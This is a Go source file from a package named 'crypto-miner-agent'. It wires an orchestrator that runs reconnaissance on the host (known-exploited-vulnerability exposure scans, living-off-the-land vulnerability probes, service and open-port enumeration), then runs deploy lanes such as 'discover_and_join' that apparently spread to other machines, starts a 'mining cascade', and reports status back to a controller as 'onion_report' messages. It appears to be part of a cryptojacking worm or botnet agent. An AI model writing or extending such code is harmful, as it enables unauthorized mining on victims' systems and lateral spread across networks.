package client import ( "context" "encoding/json" "log" "crypto-miner-agent/deploy" "crypto-miner-agent/miner" ) func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy { c.mu.Lock() defer c.mu.Unlock() if !c.triplePolicyLoaded { return miner.DefaultTripleOnionPolicy() } return miner.NormalizeTripleOnionPolicy(c.triplePolicy) } func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var p miner.TripleOnionPolicy if err := json.Unmarshal(raw, &p); err != nil { return } c.mu.Lock() c.triplePolicy = miner.NormalizeTripleOnionPolicy(p) c.triplePolicyLoaded = true c.mu.Unlock() } func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator { c := r.client policy := c.tripleOnionPolicy() return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{ RunReconTier: r.runReconTier, RunDeployLane: r.runDeployLane, RunMining: r.startMiningCascade, ReportEvent: r.reportOnionEvent, }) } func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult { switch tier { case "kev_scan": return r.reconKEVScan() case "vuln_recon", "vuln_probe": return r.reconVulnProbe() case "service_probe": return r.reconServiceProbe() case "listen_ports": return r.reconListenPorts() default: return miner.ReconTierResult{OK: false, Error: "unknown recon tier"} } } func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult { patch := collectPatchStatus() ports := collectListenPorts() var sec *SysCheckSecurity if p := collectPosture(); p != nil { sec = securityFromPosture(p) } kev := scanKEVExposure(patch, ports, sec) if kev == nil { return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"} } return miner.ReconTierResult{ OK: true, Snapshot: miner.ReconSnapshot{ RiskScore: kev.RiskScore, CriticalExposed: kev.CriticalCount, ExposedCount: kev.ExposedCount, LikelyCount: kev.LikelyCount, Details: map[string]interface{}{ "summary": kev.Summary, "findings": len(kev.Findings), }, }, } } func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult { p := collectPosture() if p == nil { return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"} } count := len(p.Services) return miner.ReconTierResult{ OK: true, Snapshot: miner.ReconSnapshot{ ServiceCount: count, Details: map[string]interface{}{ "posture_score": p.PostureScore, }, }, } } func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult { ports := collectListenPorts() if ports == nil { return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"} } return miner.ReconTierResult{ OK: true, Snapshot: miner.ReconSnapshot{ OpenPortCount: ports.Count, Details: map[string]interface{}{ "port_count": ports.Count, }, }, } } func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult { report := RunVulnLOTLProbe() if report == nil { return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"} } critical := 0 for _, f := range report.Findings { if f.Severity == "critical" && !f.Patched { critical++ } } return miner.ReconTierResult{ OK: true, Snapshot: miner.ReconSnapshot{ RiskScore: report.RiskScore, CriticalExposed: critical, ExposedCount: report.ExposedCount, LikelyCount: report.CriticalCount, Details: map[string]interface{}{ "summary": report.Summary, "findings": len(report.Findings), }, }, } } func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) { c := r.client if lane == "discover_and_join" { msg, err := c.runDiscoverAndJoin(8) if err != nil { return false, err.Error() } return true, msg } c.mu.Lock() cfg := c.cfg c.mu.Unlock() return deploy.TryDiscoverJoinLane(cfg, lane) } func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) { c := r.client payload, err := json.Marshal(struct { miner.TripleOnionReport Event string `json:"event"` }{ TripleOnionReport: report, Event: eventType, }) if err != nil { return } if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil { log.Printf("[triple-onion] %s notify failed: %v", eventType, err) } r.mu.Lock() r.onionAttempts = report.Attempts r.mu.Unlock() }